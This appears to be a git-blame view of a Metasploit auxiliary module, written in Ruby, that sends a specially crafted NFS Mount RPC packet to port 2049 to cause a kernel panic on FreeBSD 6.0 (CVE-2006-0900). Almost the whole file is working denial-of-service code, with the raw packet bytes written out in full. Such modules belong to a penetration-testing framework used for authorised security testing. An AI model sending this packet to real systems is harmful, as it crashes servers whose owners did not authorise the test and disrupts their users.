2007-02-18 00:10:39 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-11-19 00:01:41 +00:00
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2006-11-19 00:01:41 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'FreeBSD Remote NFS RPC Request Denial of Service',
|
|
|
|
'Description' => %q{
|
|
|
|
This module sends a specially-crafted NFS Mount request causing a
|
|
|
|
kernel panic on host running FreeBSD 6.0.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'BID', '16838' ],
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '23511' ],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'CVE', '2006-0900' ],
|
|
|
|
]))
|
|
|
|
|
2017-05-03 20:42:21 +00:00
|
|
|
register_options([Opt::RPORT(2049),])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
connect
|
|
|
|
|
|
|
|
pkt = "\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02"
|
|
|
|
pkt << "\x00\x01\x86\xa5\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00"
|
|
|
|
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04"
|
|
|
|
|
|
|
|
print_status("Sending dos packet...")
|
|
|
|
|
|
|
|
sock.put(pkt)
|
|
|
|
|
|
|
|
disconnect
|
|
|
|
end
|
2006-11-19 00:01:41 +00:00
|
|
|
|
2008-11-18 20:00:31 +00:00
|
|
|
end
|